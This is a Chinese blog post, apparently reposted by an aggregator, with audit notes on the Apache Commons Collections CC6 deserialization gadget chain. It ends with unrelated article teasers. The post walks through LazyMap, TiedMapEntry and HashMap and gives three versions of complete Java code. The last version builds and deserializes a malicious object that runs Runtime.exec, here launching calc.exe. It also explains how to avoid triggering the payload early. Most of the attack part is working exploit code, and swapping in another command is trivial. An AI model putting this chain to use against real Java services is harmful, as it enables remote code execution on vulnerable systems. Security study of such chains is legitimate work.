Apache-CC6链审计笔记

news/2025/2/23 4:09:56/文章来源:https://www.cnblogs.com/LINGX5/p/18725125

java-CC6链审计笔记

一、审计过程

1、lazyMap

在之前CC1的审计中发现ChainedTransformer的transform方法还可以被LazyMap的get方法调用

image-20250218210701660

public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);
}

所以只要令factory的值为ChainedTransformer对象,则可以实现调用。而protected final Transformer factory; 则定义了factory是一个类属性,所以只要能够通过构造方法对类属性进行赋值,则可以实现对象的传递。

protected LazyMap(Map map, Transformer factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");}this.factory = factory;}

同时,还需要令 if (map.containsKey(key) == false) 条件满足,则说明Map对象中不能包含对应的Key值,则才会进入If语句中进行调用。

CC1扩展

接下来寻找谁在调用LazyMap的get方法,通过Find Usage找到了3000多个匹配的地方,其中也包含AnnotationInvocationHandler

其实这也是CC1链的一个扩展,但是由于仍然是对AnnotationInvocationHandler进行反序列化,同样不适用于新版本JDK,所以该链不进行审计。

2、TiedMapEntry

发现Common Collections库中的TiedMapEntry调用了get方法。

image-20250219091945857

谁在调用getValue方法,发现同类中的hashCode方法在调用。

image-20250219092303638

而哪里有hashCode呢,其实在审计UrlDNS链时已经知道了,HashMap就存在hashCode方法,且HashMap本身就重写了readObject,可以较好地实现反序列化和自动调用。所以CC6相对是比较容易理解的,而且不依赖于JDK版本,实用性也很高。目前确定的调用链如下:

java.io.ObjectInputStream.readObject()java.util.HashMap.put()java.util.HashMap.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()

二、编写链条利用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class ApacheCC6 {public void CC6_ser() throws Exception {// transformer[]数组,相当于一下代码的执行。/*Class<Runtime> runtimeClass = Runtime.class;Method method = runtimeClass.getMethod("getRuntime", null);Runtime runtime = (Runtime) method.invoke(null);runtime.exec("calc.exe");*/Transformer[] transformers = new Transformer[]{// 1.相当于Class<Runtime> runtimeClass = Runtime.class;new ConstantTransformer(Runtime.class),// 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),// 3.相当于runtime = (Runtime) method.invoke(null);new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),// 4.相当于runtime.exec("calc.exe");new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// 创建lazymap,并传入chainedTransformer对象/*LazyMap有一个静态方法可以让我拿到它的对象实例public static Map decorate(Map map, Factory factory) {return new LazyMap(map, factory);}*/LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);// 创建TiedMapEntry对象,并绑定Lazymap对象TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");// 创建HashMap对象,并将TiedMapEntry作为Key进行处理Map<Object, Object> map = new HashMap<>();map.put(tiedMapEntry, "lingx5");FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);}public void unserializeCC6() throws Exception {FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();System.out.println("运行完成");}public static void main(String[] args) throws Exception {ApacheCC6 cc6 = new ApacheCC6();cc6.CC6_ser();// cc6.unserializeCC6();};
}

image-20250219110438126

成功弹出计算机

这只是在序列化,并没有反序列化他就弹出了计算器。同时报错Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl

我们在下面解决这个问题

三、异常调试

由于HashMap的put方法会导致提前调用hashCode()方法,从而在序列化的时候就命令执行

Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl

这个报错也是Runtime在执行方法时的底层类实现类对象,由于ProcessImpl对象不能被序列化而导致的报错

我们使用ChainedTransformer的Transform()方法一步一步循环从而得到了Runtime类。所以我们在lazyMap实例化的时候不传入ChainedTransformer对象,而是传入一个其他无意义的类。在通过反射的方式修改JVM已经加载的LazyMap对象。修改之后在进行序列化。

LazyMap实例化

LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));

反射修改

Class<? extends LazyMap> Clazz = Lazymap.getClass();
Field factory = Clazz.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(Lazymap, chainedTransformer);

修改后

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class ApacheCC6 {public void CC6_ser() throws Exception {// transformer[]数组,相当于一下代码的执行。/*Class<Runtime> runtimeClass = Runtime.class;Method method = runtimeClass.getMethod("getRuntime", null);Runtime runtime = (Runtime) method.invoke(null);runtime.exec("calc.exe");*/Transformer[] transformers = new Transformer[]{// 1.相当于Class<Runtime> runtimeClass = Runtime.class;new ConstantTransformer(Runtime.class),// 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),// 3.相当于runtime = (Runtime) method.invoke(null);new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),// 4.相当于runtime.exec("calc.exe");new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// 创建lazymap,并传入chainedTransformer对象/*LazyMap有一个静态方法可以让我拿到它的对象实例public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}*/LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));// 创建TiedMapEntry对象,并绑定Lazymap对象TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");// 创建HashMap对象,并将TiedMapEntry作为Key进行处理Map<Object, Object> map = new HashMap<>();map.put(tiedMapEntry, "lingx5");// 在执行put之后,反射修改LazyMap对象的factory属性Class<? extends LazyMap> Clazz = Lazymap.getClass();Field factory = Clazz.getDeclaredField("factory");factory.setAccessible(true);factory.set(Lazymap, chainedTransformer);FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);}public void unserializeCC6() throws Exception {FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();System.out.println("运行完成");}public static void main(String[] args) throws Exception {ApacheCC6 cc6 = new ApacheCC6();cc6.CC6_ser();cc6.unserializeCC6();};
}

现在没有报错了,但是他也不弹计算机了。我们调试一下看是哪里的问题

image-20250219124737295

看到if语句里的表达式为false,所以没有调用factory.transform(key)方法

这是因为在map.put(tiedMapEntry, "lingx5")执行时,触发TiedMapEntry的hashCode方法调用LazyMap.get("lingx5")该key来自TiedMapEntry构造时的第二个参数。此时LazyMap的factory仍是初始值,但根据LazyMap特性,若key不存在会自动创建条目,导致"lingx5"被注入到初始空HashMap中。

我们继续修改,把key(lingx5)删除

// 反射和直接删除都是可以的,因为remove的修饰符是public/*	反射删除Method remove = Clazz.getMethod("remove", Object.class);remove.invoke(Lazymap, "lingx5");*/// 直接删除Lazymap.remove("lingx5");

四、最终代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class ApacheCC6 {public void CC6_ser() throws Exception {// transformer[]数组,相当于一下代码的执行。/*Class<Runtime> runtimeClass = Runtime.class;Method method = runtimeClass.getMethod("getRuntime", null);Runtime runtime = (Runtime) method.invoke(null);runtime.exec("calc.exe");*/Transformer[] transformers = new Transformer[]{// 1.相当于Class<Runtime> runtimeClass = Runtime.class;new ConstantTransformer(Runtime.class),// 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),// 3.相当于runtime = (Runtime) method.invoke(null);new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),// 4.相当于runtime.exec("calc.exe");new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// 创建lazymap,并传入chainedTransformer对象/*LazyMap有一个静态方法可以让我拿到它的对象实例public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}*/LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));// 创建TiedMapEntry对象,并绑定Lazymap对象TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");// 创建HashMap对象,并将TiedMapEntry作为Key进行处理Map<Object, Object> map = new HashMap<>();map.put(tiedMapEntry, "lingx5");// 在执行put之后,反射修改LazyMap对象的factory属性Class<? extends LazyMap> Clazz = Lazymap.getClass();Field factory = Clazz.getDeclaredField("factory");factory.setAccessible(true);factory.set(Lazymap, chainedTransformer);// 删除名为ingx5的key/*Method remove = Clazz.getMethod("remove", Object.class);remove.invoke(Lazymap, "lingx5");*/Lazymap.remove("lingx5");FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);}public void unserializeCC6() throws Exception {FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();System.out.println("运行完成");}public static void main(String[] args) throws Exception {ApacheCC6 cc6 = new ApacheCC6();cc6.CC6_ser();cc6.unserializeCC6();};
}

image-20250219131859662

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/886849.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3年经验来面试20K的测试岗,连基本功都不会,还不如去招应届生

这段时间面试了几十个人。发现一个很奇怪的现象,面试中一问到元素定位、脚本编写之类的,很多人都能对答如流。但只要一深入,比如“项目中UI自动化和接口自动化如何搭配使用用?”、“项目采用什么策略来保证自动化脚本的稳定性?”。大多数人都避重就轻、含糊其辞。📝 博主…

harbor升级(最详细记录)

1.harbor升级说明Harbor 升级过程需要按照官方推荐的升级路径逐步进行,不能直接跨版本升级。 此次是从Harbor 2.6.4 升级到 Harbor 2.12.2版本 单机版升级,Harbor服务器172.16.4.60 docker版本19.03.8, /etc/docker/daemon.json"log-driver": "json-file&quo…

搭建本地NCBI病毒库用于Blast

搭建本地NCBI病毒库用于Blast目的:为了通过Blast剔除我数据集中所有与Human任意片段相似度超过97%的序列 日期:2022/11/171. Nt库下载 创建conda环境 conda create -n aspera conda activate aspera conda install -y -c hcc aspera-cli conda install -y -c bioconda sr…

你还不会使用Pycham Remote development 打开远程主机工作目录吗?这篇文章帮你解决!

前言必备: 本地开发机与远程主机都要安装Pycharm专业版!!!废话不多说直接开始!! 1、打开pycharm2、依次点击File、Remote Development3、依次点击SSH、New Project4、这里我们选择设置New Connection5、点击 +6、依次输入IP、端口、用户名、密码(可以选择其他认证方式)7、点击t…

Mybatisplus自动生成代码

第一Maven中添加依赖点击查看代码 <!-- MyBatis-Plus 扩展库 --><dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-extension</artifactId><version>3.5.7</version></dependency><dependency&…

LinkedBlockingQueue的poll方法底层原理

一、LinkedBlockingQueue的poll方法底层原理 LinkedBlockingQueue 的 poll 方法用于从队列头部移除并返回元素。如果队列为空,poll 方法会立即返回 null,而不会阻塞线程 1、poll 方法的作用从队列头部移除并返回元素。如果队列为空,立即返回 null。该方法是非阻塞的,适用于…

【R3 RootKit 病毒】基础知识研究

# 恶意样本 # RootKit RootKit简介 RootKit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络连接等信息,比较多见到的是Rootkit一般都和木马、后门等恶意程序结合使用。 技术研究入门 一般的恶意程序使用RootKit技术,主要功能分为下面两类: (…

vscode配置免密登录

Host 192.168.233.130HostName 192.168.233.130User rootPort 22IdentityFile C:\\Users\\username\\.ssh\\id_rsa

Camstar设置textbox只允许扫码

😘宝子:除非不再醒来,除非太阳不再升起,不然都请你好好生活,挣扎着前进,开心的笑。(●◡●)

虚幻GameAbilitySystem源码与设计解析-GameEffectComponent的实现

// 版权所有(c)Epic Games, Inc. 保留所有权利。#pragma once#include "CoreMinimal.h" #include "GameplayEffectComponent.generated.h"struct FActiveGameplayEffect; struct FActiveGameplayEffectsContainer; struct FGameplayEffectSpec; struct F…

建筑遗产的保护与活化利用:历史与现代的和谐交响

在时间的长河中,建筑遗产是凝固的记忆,承载着历史的厚重与文化的底蕴。如何在尊重与保护的前提下,让这些古老建筑焕发新生,融入现代生活,成为富有功能性和时代感的场所,是当代建筑设计面临的一大挑战。 1. 尊重历史,理解遗产价值一切活化利用的出发点,首先是深入研究与…

使用crewai创建属于你自己的AI团队

crewai介绍 CrewAI 是一个用于协调自主 AI 代理的前沿框架。 CrewAI 允许你创建 AI 团队,其中每个代理都有特定的角色、工具和目标,协同工作以完成复杂任务。 把它想象成组建你的梦之队——每个成员(代理)都带来独特的技能和专业知识,无缝协作以实现你的目标。 最近使用了…